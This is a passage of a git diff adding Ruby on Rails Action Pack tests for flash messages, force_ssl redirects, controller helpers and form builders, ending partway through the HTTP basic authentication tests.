+      redirect_to "/somewhere", notice: "Good luck in the somewheres!"
+    end
+
+    def render_with_flash_now_alert
+      flash.now.alert = "Beware the nowheres now!"
+      render inline: "hello"
+    end
+
+    def render_with_flash_now_notice
+      flash.now.notice = "Good luck in the somewheres now!"
+      render inline: "hello"
+    end
+
+    def redirect_with_other_flashes
+      redirect_to "/wonderland", flash: { joyride: "Horses!" }
+    end
+
+    def redirect_with_foo_flash
+      redirect_to "/wonderland", foo: "for great justice"
+    end
+  end
+
+  tests TestController
+
+  def test_flash
+    get :set_flash
+
+    get :use_flash
+    assert_equal "hello", @controller.instance_variable_get(:@flash_copy)["that"]
+    assert_equal "hello", @controller.instance_variable_get(:@flashy)
+
+    get :use_flash
+    assert_nil @controller.instance_variable_get(:@flash_copy)["that"], "On second flash"
+  end
+
+  def test_keep_flash
+    get :set_flash
+
+    get :use_flash_and_keep_it
+    assert_equal "hello", @controller.instance_variable_get(:@flash_copy)["that"]
+    assert_equal "hello", @controller.instance_variable_get(:@flashy)
+
+    get :use_flash
+    assert_equal "hello", @controller.instance_variable_get(:@flash_copy)["that"], "On second flash"
+
+    get :use_flash
+    assert_nil @controller.instance_variable_get(:@flash_copy)["that"], "On third flash"
+  end
+
+  def test_flash_now
+    get :set_flash_now
+    assert_equal "hello", @controller.instance_variable_get(:@flash_copy)["that"]
+    assert_equal "bar", @controller.instance_variable_get(:@flash_copy)["foo"]
+    assert_equal "hello", @controller.instance_variable_get(:@flashy)
+
+    get :attempt_to_use_flash_now
+    assert_nil @controller.instance_variable_get(:@flash_copy)["that"]
+    assert_nil @controller.instance_variable_get(:@flash_copy)["foo"]
+    assert_nil @controller.instance_variable_get(:@flashy)
+  end
+
+  def test_update_flash
+    get :set_flash
+    get :use_flash_and_update_it
+    assert_equal "hello", @controller.instance_variable_get(:@flash_copy)["that"]
+    assert_equal "hello again", @controller.instance_variable_get(:@flash_copy)["this"]
+    get :use_flash
+    assert_nil @controller.instance_variable_get(:@flash_copy)["that"], "On second flash"
+    assert_equal "hello again",
+      @controller.instance_variable_get(:@flash_copy)["this"], "On second flash"
+  end
+
+  def test_flash_after_reset_session
+    get :use_flash_after_reset_session
+    assert_equal "hello", @controller.instance_variable_get(:@flashy_that)
+    assert_equal "good-bye", @controller.instance_variable_get(:@flashy_this)
+    assert_nil @controller.instance_variable_get(:@flashy_that_reset)
+  end
+
+  def test_does_not_set_the_session_if_the_flash_is_empty
+    get :std_action
+    assert_nil session["flash"]
+  end
+
+  def test_sweep_after_halted_action_chain
+    get :std_action
+    assert_nil @controller.instance_variable_get(:@flash_copy)["foo"]
+    get :filter_halting_action
+    assert_equal "bar", @controller.instance_variable_get(:@flash_copy)["foo"]
+    get :std_action # follow redirection
+    assert_equal "bar", @controller.instance_variable_get(:@flash_copy)["foo"]
+    get :std_action
+    assert_nil @controller.instance_variable_get(:@flash_copy)["foo"]
+  end
+
+  def test_keep_and_discard_return_values
+    flash = ActionDispatch::Flash::FlashHash.new
+    flash.update(foo: :foo_indeed, bar: :bar_indeed)
+
+    assert_equal(:foo_indeed, flash.discard(:foo)) # valid key passed
+    assert_nil flash.discard(:unknown) # non existent key passed
+    assert_equal({ "foo" => :foo_indeed, "bar" => :bar_indeed }, flash.discard().to_hash) # nothing passed
+    assert_equal({ "foo" => :foo_indeed, "bar" => :bar_indeed }, flash.discard(nil).to_hash) # nothing passed
+
+    assert_equal(:foo_indeed, flash.keep(:foo)) # valid key passed
+    assert_nil flash.keep(:unknown) # non existent key passed
+    assert_equal({ "foo" => :foo_indeed, "bar" => :bar_indeed }, flash.keep().to_hash) # nothing passed
+    assert_equal({ "foo" => :foo_indeed, "bar" => :bar_indeed }, flash.keep(nil).to_hash) # nothing passed
+  end
+
+  def test_redirect_to_with_alert
+    get :redirect_with_alert
+    assert_equal "Beware the nowheres!", @controller.send(:flash)[:alert]
+  end
+
+  def test_redirect_to_with_notice
+    get :redirect_with_notice
+    assert_equal "Good luck in the somewheres!", @controller.send(:flash)[:notice]
+  end
+
+  def test_render_with_flash_now_alert
+    get :render_with_flash_now_alert
+    assert_equal "Beware the nowheres now!", @controller.send(:flash)[:alert]
+  end
+
+  def test_render_with_flash_now_notice
+    get :render_with_flash_now_notice
+    assert_equal "Good luck in the somewheres now!", @controller.send(:flash)[:notice]
+  end
+
+  def test_redirect_to_with_other_flashes
+    get :redirect_with_other_flashes
+    assert_equal "Horses!", @controller.send(:flash)[:joyride]
+  end
+
+  def test_redirect_to_with_adding_flash_types
+    original_controller = @controller
+    test_controller_with_flash_type_foo = Class.new(TestController) do
+      add_flash_types :foo
+    end
+    @controller = test_controller_with_flash_type_foo.new
+    get :redirect_with_foo_flash
+    assert_equal "for great justice", @controller.send(:flash)[:foo]
+  ensure
+    @controller = original_controller
+  end
+
+  def test_add_flash_type_to_subclasses
+    test_controller_with_flash_type_foo = Class.new(TestController) do
+      add_flash_types :foo
+    end
+    subclass_controller_with_no_flash_type = Class.new(test_controller_with_flash_type_foo)
+    assert_includes subclass_controller_with_no_flash_type._flash_types, :foo
+  end
+
+  def test_does_not_add_flash_type_to_parent_class
+    Class.new(TestController) do
+      add_flash_types :bar
+    end
+    assert_not TestController._flash_types.include?(:bar)
+  end
+end
+
+class FlashIntegrationTest < ActionDispatch::IntegrationTest
+  SessionKey = "_myapp_session"
+  Generator  = ActiveSupport::LegacyKeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33")
+
+  class TestController < ActionController::Base
+    add_flash_types :bar
+
+    def set_flash
+      flash["that"] = "hello"
+      head :ok
+    end
+
+    def set_flash_now
+      flash.now["that"] = "hello"
+      head :ok
+    end
+
+    def use_flash
+      render inline: "flash: #{flash["that"]}"
+    end
+
+    def set_bar
+      flash[:bar] = "for great justice"
+      head :ok
+    end
+
+    def set_flash_optionally
+      flash.now.notice = params[:flash]
+      if stale? etag: "abe"
+        render inline: "maybe flash"
+      end
+    end
+  end
+
+  def test_flash
+    with_test_route_set do
+      get "/set_flash"
+      assert_response :success
+      assert_equal "hello", @request.flash["that"]
+
+      get "/use_flash"
+      assert_response :success
+      assert_equal "flash: hello", @response.body
+    end
+  end
+
+  def test_just_using_flash_does_not_stream_a_cookie_back
+    with_test_route_set do
+      get "/use_flash"
+      assert_response :success
+      assert_nil @response.headers["Set-Cookie"]
+      assert_equal "flash: ", @response.body
+    end
+  end
+
+  def test_setting_flash_does_not_raise_in_following_requests
+    with_test_route_set do
+      env = { "action_dispatch.request.flash_hash" => ActionDispatch::Flash::FlashHash.new }
+      get "/set_flash", env: env
+      get "/set_flash", env: env
+    end
+  end
+
+  def test_setting_flash_now_does_not_raise_in_following_requests
+    with_test_route_set do
+      env = { "action_dispatch.request.flash_hash" => ActionDispatch::Flash::FlashHash.new }
+      get "/set_flash_now", env: env
+      get "/set_flash_now", env: env
+    end
+  end
+
+  def test_added_flash_types_method
+    with_test_route_set do
+      get "/set_bar"
+      assert_response :success
+      assert_equal "for great justice", @controller.bar
+    end
+  end
+
+  def test_flash_factored_into_etag
+    with_test_route_set do
+      get "/set_flash_optionally"
+      no_flash_etag = response.etag
+
+      get "/set_flash_optionally", params: { flash: "hello!" }
+      hello_flash_etag = response.etag
+
+      assert_not_equal no_flash_etag, hello_flash_etag
+
+      get "/set_flash_optionally", params: { flash: "hello!" }
+      another_hello_flash_etag = response.etag
+
+      assert_equal another_hello_flash_etag, hello_flash_etag
+
+      get "/set_flash_optionally", params: { flash: "goodbye!" }
+      goodbye_flash_etag = response.etag
+
+      assert_not_equal another_hello_flash_etag, goodbye_flash_etag
+    end
+  end
+
+  private
+
+    # Overwrite get to send SessionSecret in env hash
+    def get(path, *args)
+      args[0] ||= {}
+      args[0][:env] ||= {}
+      args[0][:env]["action_dispatch.key_generator"] ||= Generator
+      super(path, *args)
+    end
+
+    def with_test_route_set
+      with_routing do |set|
+        set.draw do
+          ActiveSupport::Deprecation.silence do
+            get ":action", to: FlashIntegrationTest::TestController
+          end
+        end
+
+        @app = self.class.build_app(set) do |middleware|
+          middleware.use ActionDispatch::Session::CookieStore, key: SessionKey
+          middleware.use ActionDispatch::Flash
+          middleware.delete ActionDispatch::ShowExceptions
+        end
+
+        yield
+      end
+    end
+end
diff --git a/actionpack/test/controller/force_ssl_test.rb b/actionpack/test/controller/force_ssl_test.rb
new file mode 100644
index 0000000000..84ac1fda3c
--- /dev/null
+++ b/actionpack/test/controller/force_ssl_test.rb
@@ -0,0 +1,333 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ForceSSLController < ActionController::Base
+  def banana
+    render plain: "monkey"
+  end
+
+  def cheeseburger
+    render plain: "sikachu"
+  end
+end
+
+class ForceSSLControllerLevel < ForceSSLController
+  force_ssl
+end
+
+class ForceSSLCustomOptions < ForceSSLController
+  force_ssl host: "secure.example.com", only: :redirect_host
+  force_ssl port: 8443, only: :redirect_port
+  force_ssl subdomain: "secure", only: :redirect_subdomain
+  force_ssl domain: "secure.com", only: :redirect_domain
+  force_ssl path: "/foo", only: :redirect_path
+  force_ssl status: :found, only: :redirect_status
+  force_ssl flash: { message: "Foo, Bar!" }, only: :redirect_flash
+  force_ssl alert: "Foo, Bar!", only: :redirect_alert
+  force_ssl notice: "Foo, Bar!", only: :redirect_notice
+
+  def force_ssl_action
+    render plain: action_name
+  end
+
+  alias_method :redirect_host, :force_ssl_action
+  alias_method :redirect_port, :force_ssl_action
+  alias_method :redirect_subdomain, :force_ssl_action
+  alias_method :redirect_domain, :force_ssl_action
+  alias_method :redirect_path, :force_ssl_action
+  alias_method :redirect_status, :force_ssl_action
+  alias_method :redirect_flash, :force_ssl_action
+  alias_method :redirect_alert, :force_ssl_action
+  alias_method :redirect_notice, :force_ssl_action
+
+  def use_flash
+    render plain: flash[:message]
+  end
+
+  def use_alert
+    render plain: flash[:alert]
+  end
+
+  def use_notice
+    render plain: flash[:notice]
+  end
+end
+
+class ForceSSLOnlyAction < ForceSSLController
+  force_ssl only: :cheeseburger
+end
+
+class ForceSSLExceptAction < ForceSSLController
+  force_ssl except: :banana
+end
+
+class ForceSSLIfCondition < ForceSSLController
+  force_ssl if: :use_force_ssl?
+
+  def use_force_ssl?
+    action_name == "cheeseburger"
+  end
+end
+
+class ForceSSLFlash < ForceSSLController
+  force_ssl except: [:banana, :set_flash, :use_flash]
+
+  def set_flash
+    flash["that"] = "hello"
+    redirect_to "/force_ssl_flash/cheeseburger"
+  end
+
+  def use_flash
+    @flash_copy = {}.update flash
+    @flashy = flash["that"]
+    render inline: "hello"
+  end
+end
+
+class RedirectToSSL < ForceSSLController
+  def banana
+    force_ssl_redirect || render(plain: "monkey")
+  end
+  def cheeseburger
+    force_ssl_redirect("secure.cheeseburger.host") || render(plain: "ihaz")
+  end
+end
+
+class ForceSSLControllerLevelTest < ActionController::TestCase
+  def test_banana_redirects_to_https
+    get :banana
+    assert_response 301
+    assert_equal "https://test.host/force_ssl_controller_level/banana", redirect_to_url
+  end
+
+  def test_banana_redirects_to_https_with_extra_params
+    get :banana, params: { token: "secret" }
+    assert_response 301
+    assert_equal "https://test.host/force_ssl_controller_level/banana?token=secret", redirect_to_url
+  end
+
+  def test_cheeseburger_redirects_to_https
+    get :cheeseburger
+    assert_response 301
+    assert_equal "https://test.host/force_ssl_controller_level/cheeseburger", redirect_to_url
+  end
+end
+
+class ForceSSLCustomOptionsTest < ActionController::TestCase
+  def setup
+    @request.env["HTTP_HOST"] = "www.example.com:80"
+  end
+
+  def test_redirect_to_custom_host
+    get :redirect_host
+    assert_response 301
+    assert_equal "https://secure.example.com/force_ssl_custom_options/redirect_host", redirect_to_url
+  end
+
+  def test_redirect_to_custom_port
+    get :redirect_port
+    assert_response 301
+    assert_equal "https://www.example.com:8443/force_ssl_custom_options/redirect_port", redirect_to_url
+  end
+
+  def test_redirect_to_custom_subdomain
+    get :redirect_subdomain
+    assert_response 301
+    assert_equal "https://secure.example.com/force_ssl_custom_options/redirect_subdomain", redirect_to_url
+  end
+
+  def test_redirect_to_custom_domain
+    get :redirect_domain
+    assert_response 301
+    assert_equal "https://www.secure.com/force_ssl_custom_options/redirect_domain", redirect_to_url
+  end
+
+  def test_redirect_to_custom_path
+    get :redirect_path
+    assert_response 301
+    assert_equal "https://www.example.com/foo", redirect_to_url
+  end
+
+  def test_redirect_to_custom_status
+    get :redirect_status
+    assert_response 302
+    assert_equal "https://www.example.com/force_ssl_custom_options/redirect_status", redirect_to_url
+  end
+
+  def test_redirect_to_custom_flash
+    get :redirect_flash
+    assert_response 301
+    assert_equal "https://www.example.com/force_ssl_custom_options/redirect_flash", redirect_to_url
+
+    get :use_flash
+    assert_response 200
+    assert_equal "Foo, Bar!", @response.body
+  end
+
+  def test_redirect_to_custom_alert
+    get :redirect_alert
+    assert_response 301
+    assert_equal "https://www.example.com/force_ssl_custom_options/redirect_alert", redirect_to_url
+
+    get :use_alert
+    assert_response 200
+    assert_equal "Foo, Bar!", @response.body
+  end
+
+  def test_redirect_to_custom_notice
+    get :redirect_notice
+    assert_response 301
+    assert_equal "https://www.example.com/force_ssl_custom_options/redirect_notice", redirect_to_url
+
+    get :use_notice
+    assert_response 200
+    assert_equal "Foo, Bar!", @response.body
+  end
+end
+
+class ForceSSLOnlyActionTest < ActionController::TestCase
+  def test_banana_not_redirects_to_https
+    get :banana
+    assert_response 200
+  end
+
+  def test_cheeseburger_redirects_to_https
+    get :cheeseburger
+    assert_response 301
+    assert_equal "https://test.host/force_ssl_only_action/cheeseburger", redirect_to_url
+  end
+end
+
+class ForceSSLExceptActionTest < ActionController::TestCase
+  def test_banana_not_redirects_to_https
+    get :banana
+    assert_response 200
+  end
+
+  def test_cheeseburger_redirects_to_https
+    get :cheeseburger
+    assert_response 301
+    assert_equal "https://test.host/force_ssl_except_action/cheeseburger", redirect_to_url
+  end
+end
+
+class ForceSSLIfConditionTest < ActionController::TestCase
+  def test_banana_not_redirects_to_https
+    get :banana
+    assert_response 200
+  end
+
+  def test_cheeseburger_redirects_to_https
+    get :cheeseburger
+    assert_response 301
+    assert_equal "https://test.host/force_ssl_if_condition/cheeseburger", redirect_to_url
+  end
+end
+
+class ForceSSLFlashTest < ActionController::TestCase
+  def test_cheeseburger_redirects_to_https
+    get :set_flash
+    assert_response 302
+    assert_equal "http://test.host/force_ssl_flash/cheeseburger", redirect_to_url
+
+    @request.env.delete("PATH_INFO")
+
+    get :cheeseburger
+    assert_response 301
+    assert_equal "https://test.host/force_ssl_flash/cheeseburger", redirect_to_url
+
+    @request.env.delete("PATH_INFO")
+
+    get :use_flash
+    assert_equal "hello", @controller.instance_variable_get("@flash_copy")["that"]
+    assert_equal "hello", @controller.instance_variable_get("@flashy")
+  end
+end
+
+class ForceSSLDuplicateRoutesTest < ActionController::TestCase
+  tests ForceSSLControllerLevel
+
+  def test_force_ssl_redirects_to_same_path
+    with_routing do |set|
+      set.draw do
+        get "/foo", to: "force_ssl_controller_level#banana"
+        get "/bar", to: "force_ssl_controller_level#banana"
+      end
+
+      @request.env["PATH_INFO"] = "/bar"
+
+      get :banana
+      assert_response 301
+      assert_equal "https://test.host/bar", redirect_to_url
+    end
+  end
+end
+
+class ForceSSLFormatTest < ActionController::TestCase
+  tests ForceSSLControllerLevel
+
+  def test_force_ssl_redirects_to_same_format
+    with_routing do |set|
+      set.draw do
+        get "/foo", to: "force_ssl_controller_level#banana"
+      end
+
+      get :banana, format: :json
+      assert_response 301
+      assert_equal "https://test.host/foo.json", redirect_to_url
+    end
+  end
+end
+
+class ForceSSLOptionalSegmentsTest < ActionController::TestCase
+  tests ForceSSLControllerLevel
+
+  def test_force_ssl_redirects_to_same_format
+    with_routing do |set|
+      set.draw do
+        scope "(:locale)" do
+          defaults locale: "en" do
+            get "/foo", to: "force_ssl_controller_level#banana"
+          end
+        end
+      end
+
+      @request.env["PATH_INFO"] = "/en/foo"
+      get :banana, params: { locale: "en" }
+      assert_equal "en",  @controller.params[:locale]
+      assert_response 301
+      assert_equal "https://test.host/en/foo", redirect_to_url
+    end
+  end
+end
+
+class RedirectToSSLTest < ActionController::TestCase
+  def test_banana_redirects_to_https_if_not_https
+    get :banana
+    assert_response 301
+    assert_equal "https://test.host/redirect_to_ssl/banana", redirect_to_url
+  end
+
+  def test_cheeseburgers_redirects_to_https_with_new_host_if_not_https
+    get :cheeseburger
+    assert_response 301
+    assert_equal "https://secure.cheeseburger.host/redirect_to_ssl/cheeseburger", redirect_to_url
+  end
+
+  def test_cheeseburgers_does_not_redirect_if_already_https
+    request.env["HTTPS"] = "on"
+    get :cheeseburger
+    assert_response 200
+    assert_equal "ihaz", response.body
+  end
+end
+
+class ForceSSLControllerLevelTest < ActionController::TestCase
+  def test_no_redirect_websocket_ssl_request
+    request.env["rack.url_scheme"] = "wss"
+    request.env["Upgrade"] = "websocket"
+    get :cheeseburger
+    assert_response 200
+  end
+end
diff --git a/actionpack/test/controller/form_builder_test.rb b/actionpack/test/controller/form_builder_test.rb
new file mode 100644
index 0000000000..2db0834c5e
--- /dev/null
+++ b/actionpack/test/controller/form_builder_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class FormBuilderController < ActionController::Base
+  class SpecializedFormBuilder < ActionView::Helpers::FormBuilder ; end
+
+  default_form_builder SpecializedFormBuilder
+end
+
+class ControllerFormBuilderTest < ActiveSupport::TestCase
+  setup do
+    @controller = FormBuilderController.new
+  end
+
+  def test_default_form_builder_assigned
+    assert_equal FormBuilderController::SpecializedFormBuilder, @controller.default_form_builder
+  end
+end
diff --git a/actionpack/test/controller/helper_test.rb b/actionpack/test/controller/helper_test.rb
new file mode 100644
index 0000000000..de8072a994
--- /dev/null
+++ b/actionpack/test/controller/helper_test.rb
@@ -0,0 +1,295 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+ActionController::Base.helpers_path = File.expand_path("../fixtures/helpers", __dir__)
+
+module Fun
+  class GamesController < ActionController::Base
+    def render_hello_world
+      render inline: "hello: <%= stratego %>"
+    end
+  end
+
+  class PdfController < ActionController::Base
+    def test
+      render inline: "test: <%= foobar %>"
+    end
+  end
+end
+
+class AllHelpersController < ActionController::Base
+  helper :all
+end
+
+module ImpressiveLibrary
+  extend ActiveSupport::Concern
+  included do
+    helper_method :useful_function
+  end
+
+  def useful_function() end
+end
+
+ActionController::Base.include(ImpressiveLibrary)
+
+class JustMeController < ActionController::Base
+  clear_helpers
+
+  def flash
+    render inline: "<h1><%= notice %></h1>"
+  end
+
+  def lib
+    render inline: "<%= useful_function %>"
+  end
+end
+
+class MeTooController < JustMeController
+end
+
+class HelpersPathsController < ActionController::Base
+  paths = ["helpers2_pack", "helpers1_pack"].map do |path|
+    File.join(File.expand_path("../fixtures", __dir__), path)
+  end
+  $:.unshift(*paths)
+
+  self.helpers_path = paths
+  helper :all
+
+  def index
+    render inline: "<%= conflicting_helper %>"
+  end
+end
+
+class HelpersTypoController < ActionController::Base
+  path = File.expand_path("../fixtures/helpers_typo", __dir__)
+  $:.unshift(path)
+  self.helpers_path = path
+end
+
+module LocalAbcHelper
+  def a() end
+  def b() end
+  def c() end
+end
+
+class HelperPathsTest < ActiveSupport::TestCase
+  def test_helpers_paths_priority
+    responses = HelpersPathsController.action(:index).call(ActionController::TestRequest::DEFAULT_ENV.dup)
+
+    # helpers1_pack was given as a second path, so pack1_helper should be
+    # included as the second one
+    assert_equal "pack1", responses.last.body
+  end
+end
+
+class HelpersTypoControllerTest < ActiveSupport::TestCase
+  def setup
+    @autoload_paths = ActiveSupport::Dependencies.autoload_paths
+    ActiveSupport::Dependencies.autoload_paths = Array(HelpersTypoController.helpers_path)
+  end
+
+  def test_helper_typo_error_message
+    e = assert_raise(NameError) { HelpersTypoController.helper "admin/users" }
+    assert_equal "Couldn't find Admin::UsersHelper, expected it to be defined in helpers/admin/users_helper.rb", e.message
+  end
+
+  def teardown
+    ActiveSupport::Dependencies.autoload_paths = @autoload_paths
+  end
+end
+
+class HelperTest < ActiveSupport::TestCase
+  class TestController < ActionController::Base
+    attr_accessor :delegate_attr
+    def delegate_method() end
+  end
+
+  def setup
+    # Increment symbol counter.
+    @symbol = (@@counter ||= "A0").succ.dup
+
+    # Generate new controller class.
+    controller_class_name = "Helper#{@symbol}Controller"
+    eval("class #{controller_class_name} < TestController; end")
+    @controller_class = self.class.const_get(controller_class_name)
+
+    # Set default test helper.
+    self.test_helper = LocalAbcHelper
+  end
+
+  def test_helper
+    assert_equal expected_helper_methods, missing_methods
+    assert_nothing_raised { @controller_class.helper TestHelper }
+    assert_equal [], missing_methods
+  end
+
+  def test_helper_method
+    assert_nothing_raised { @controller_class.helper_method :delegate_method }
+    assert_includes master_helper_methods, :delegate_method
+  end
+
+  def test_helper_attr
+    assert_nothing_raised { @controller_class.helper_attr :delegate_attr }
+    assert_includes master_helper_methods, :delegate_attr
+    assert_includes master_helper_methods, :delegate_attr=
+  end
+
+  def call_controller(klass, action)
+    klass.action(action).call(ActionController::TestRequest::DEFAULT_ENV.dup)
+  end
+
+  def test_helper_for_nested_controller
+    assert_equal "hello: Iz guuut!",
+      call_controller(Fun::GamesController, "render_hello_world").last.body
+  end
+
+  def test_helper_for_acronym_controller
+    assert_equal "test: baz", call_controller(Fun::PdfController, "test").last.body
+  end
+
+  def test_default_helpers_only
+    assert_equal [JustMeHelper], JustMeController._helpers.ancestors.reject(&:anonymous?)
+    assert_equal [MeTooHelper, JustMeHelper], MeTooController._helpers.ancestors.reject(&:anonymous?)
+  end
+
+  def test_base_helper_methods_after_clear_helpers
+    assert_nothing_raised do
+      call_controller(JustMeController, "flash")
+    end
+  end
+
+  def test_lib_helper_methods_after_clear_helpers
+    assert_nothing_raised do
+      call_controller(JustMeController, "lib")
+    end
+  end
+
+  def test_all_helpers
+    methods = AllHelpersController._helpers.instance_methods
+
+    # abc_helper.rb
+    assert_includes methods, :bare_a
+
+    # fun/games_helper.rb
+    assert_includes methods, :stratego
+
+    # fun/pdf_helper.rb
+    assert_includes methods, :foobar
+  end
+
+  def test_all_helpers_with_alternate_helper_dir
+    @controller_class.helpers_path = File.expand_path("../fixtures/alternate_helpers", __dir__)
+
+    # Reload helpers
+    @controller_class._helpers = Module.new
+    @controller_class.helper :all
+
+    # helpers/abc_helper.rb should not be included
+    assert_not_includes master_helper_methods, :bare_a
+
+    # alternate_helpers/foo_helper.rb
+    assert_includes master_helper_methods, :baz
+  end
+
+  def test_helper_proxy
+    methods = AllHelpersController.helpers.methods
+
+    # Action View
+    assert_includes methods, :pluralize
+
+    # abc_helper.rb
+    assert_includes methods, :bare_a
+
+    # fun/games_helper.rb
+    assert_includes methods, :stratego
+
+    # fun/pdf_helper.rb
+    assert_includes methods, :foobar
+  end
+
+  def test_helper_proxy_in_instance
+    methods = AllHelpersController.new.helpers.methods
+
+    # Action View
+    assert_includes methods, :pluralize
+
+    # abc_helper.rb
+    assert_includes methods, :bare_a
+
+    # fun/games_helper.rb
+    assert_includes methods, :stratego
+
+    # fun/pdf_helper.rb
+    assert_includes methods, :foobar
+  end
+
+  def test_helper_proxy_config
+    AllHelpersController.config.my_var = "smth"
+
+    assert_equal "smth", AllHelpersController.helpers.config.my_var
+  end
+
+  private
+    def expected_helper_methods
+      TestHelper.instance_methods
+    end
+
+    def master_helper_methods
+      @controller_class._helpers.instance_methods
+    end
+
+    def missing_methods
+      expected_helper_methods - master_helper_methods
+    end
+
+    def test_helper=(helper_module)
+      silence_warnings { self.class.const_set("TestHelper", helper_module) }
+    end
+end
+
+class IsolatedHelpersTest < ActionController::TestCase
+  class A < ActionController::Base
+    def index
+      render inline: "<%= shout %>"
+    end
+  end
+
+  class B < A
+    helper { def shout; "B" end }
+
+    def index
+      render inline: "<%= shout %>"
+    end
+  end
+
+  class C < A
+    helper { def shout; "C" end }
+
+    def index
+      render inline: "<%= shout %>"
+    end
+  end
+
+  def call_controller(klass, action)
+    klass.action(action).call(@request.env)
+  end
+
+  def setup
+    super
+    @request.action = "index"
+  end
+
+  def test_helper_in_a
+    assert_raise(ActionView::Template::Error) { call_controller(A, "index") }
+  end
+
+  def test_helper_in_b
+    assert_equal "B", call_controller(B, "index").last.body
+  end
+
+  def test_helper_in_c
+    assert_equal "C", call_controller(C, "index").last.body
+  end
+end
diff --git a/actionpack/test/controller/http_basic_authentication_test.rb b/actionpack/test/controller/http_basic_authentication_test.rb
new file mode 100644
index 0000000000..1544a627ee
--- /dev/null
+++ b/actionpack/test/controller/http_basic_authentication_test.rb
@@ -0,0 +1,179 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class HttpBasicAuthenticationTest < ActionController::TestCase
+  class DummyController < ActionController::Base
+    before_action :authenticate, only: :index
+    before_action :authenticate_with_request, only: :display
+    before_action :authenticate_long_credentials, only: :show
+    before_action :auth_with_special_chars, only: :special_creds
+
+    http_basic_authenticate_with name: "David", password: "Goliath", only: :search
+
+    def index
+      render plain: "Hello Secret"
+    end
+
+    def display
+      render plain: "Definitely Maybe" if @logged_in
+    end
+
+    def show
+      render plain: "Only for loooooong credentials"
+    end
+
+    def special_creds
+      render plain: "Only for special credentials"
+    end
+
+    def search
+      render plain: "All inline"
+    end
+
+    private
+
+      def authenticate
+        authenticate_or_request_with_http_basic do |username, password|
+          username == "lifo" && password == "world"
+        end
+      end
+
+      def authenticate_with_request
+        if authenticate_with_http_basic { |username, password| username == "pretty" && password == "please" }
+          @logged_in = true
+        else
+          request_http_basic_authentication("SuperSecret", "Authentication Failed\n")
+        end
+      end
+
+      def auth_with_special_chars
+        authenticate_or_request_with_http_basic do |username, password|
+          username == 'login!@#$%^&*()_+{}[];"\',./<>?`~ \n\r\t' && password == 'pwd:!@#$%^&*()_+{}[];"\',./<>?`~ \n\r\t'
+        end
+      end
+
+      def authenticate_long_credentials
+        authenticate_or_request_with_http_basic do |username, password|
+          username == "1234567890123456789012345678901234567890" && password == "1234567890123456789012345678901234567890"
+        end
+      end
+  end
+
+  AUTH_HEADERS = ["HTTP_AUTHORIZATION", "X-HTTP_AUTHORIZATION", "X_HTTP_AUTHORIZATION", "REDIRECT_X_HTTP_AUTHORIZATION"]
+
+  tests DummyController
+
+  AUTH_HEADERS.each do |header|
+    test "successful authentication with #{header.downcase}" do
+      @request.env[header] = encode_credentials("lifo", "world")
+      get :index
+
+      assert_response :success
+      assert_equal "Hello Secret", @response.body, "Authentication failed for request header #{header}"
+    end
+    test "successful authentication with #{header.downcase} and long credentials" do
+      @request.env[header] = encode_credentials("1234567890123456789012345678901234567890", "1234567890123456789012345678901234567890")
+      get :show
+
+      assert_response :success
+      assert_equal "Only for loooooong credentials", @response.body, "Authentication failed for request header #{header} and long credentials"
+    end
+  end
+
+  AUTH_HEADERS.each do |header|
+    test "unsuccessful authentication with #{header.downcase}" do
+      @request.env[header] = encode_credentials("h4x0r", "world")
+      get :index
+
+      assert_response :unauthorized
+      assert_equal "HTTP Basic: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header}"
+    end
+    test "unsuccessful authentication with #{header.downcase} and long credentials" do
+      @request.env[header] = encode_credentials("h4x0rh4x0rh4x0rh4x0rh4x0rh4x0rh4x0rh4x0r", "worldworldworldworldworldworldworldworld")
+      get :show
+
+      assert_response :unauthorized
+      assert_equal "HTTP Basic: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header} and long credentials"
+    end
+
+    test "unsuccessful authentication with #{header.downcase} and no credentials" do
+      get :show
+
+      assert_response :unauthorized
+      assert_equal "HTTP Basic: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header} and no credentials"
+    end
+  end
+
+  def test_encode_credentials_has_no_newline
+    username = "laskjdfhalksdjfhalkjdsfhalksdjfhklsdjhalksdjfhalksdjfhlakdsjfh"
+    password = "kjfhueyt9485osdfasdkljfh4lkjhakldjfhalkdsjf"
+    result = ActionController::HttpAuthentication::Basic.encode_credentials(
+      username, password)
+    assert_no_match(/\n/, result)
+  end
+
+  test "successful authentication with uppercase authorization scheme" do
+    @request.env["HTTP_AUTHORIZATION"] = "BASIC #{::Base64.encode64("lifo:world")}"
+    get :index
+
+    assert_response :success
+    assert_equal "Hello Secret", @response.body, "Authentication failed when authorization scheme BASIC"
+  end
+
+  test "authentication request without credential" do
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed\n", @response.body
+    assert_equal 'Basic realm="SuperSecret"', @response.headers["WWW-Authenticate"]
+  end
+
+  test "authentication request with invalid credential" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials("pretty", "foo")
+    get :display
+
+    assert_response :unauthorized
+    assert_equal "Authentication Failed\n", @response.body
+    assert_equal 'Basic realm="SuperSecret"', @response.headers["WWW-Authenticate"]
+  end
+
+  test "authentication request with valid credential" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials("pretty", "please")
+    get :display
+
+    assert_response :success
+    assert_equal "Definitely Maybe", @response.body
+  end
+
+  test "authentication request with valid credential special chars" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials('login!@#$%^&*()_+{}[];"\',./<>?`~ \n\r\t', 'pwd:!@#$%^&*()_+{}[];"\',./<>?`~ \n\r\t')
+    get :special_creds
+
+    assert_response :success
+    assert_equal "Only for special credentials", @response.body
+  end
+
+  test "authenticate with class method" do
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials("David", "Goliath")
+    get :search
+    assert_response :success
+
+    @request.env["HTTP_AUTHORIZATION"] = encode_credentials("David", "WRONG!")
+    get :search
+    assert_response :unauthorized
+  end
+
+  test "authentication request with wrong scheme" do
+    header = "Bearer " + encode_credentials("David", "Goliath").split(" ", 2)[1]
+    @request.env["HTTP_AUTHORIZATION"] = header
+    get :search
+    assert_response :unauthorized
+  end
+
+  private
+
+    def encode_credentials(username, password)
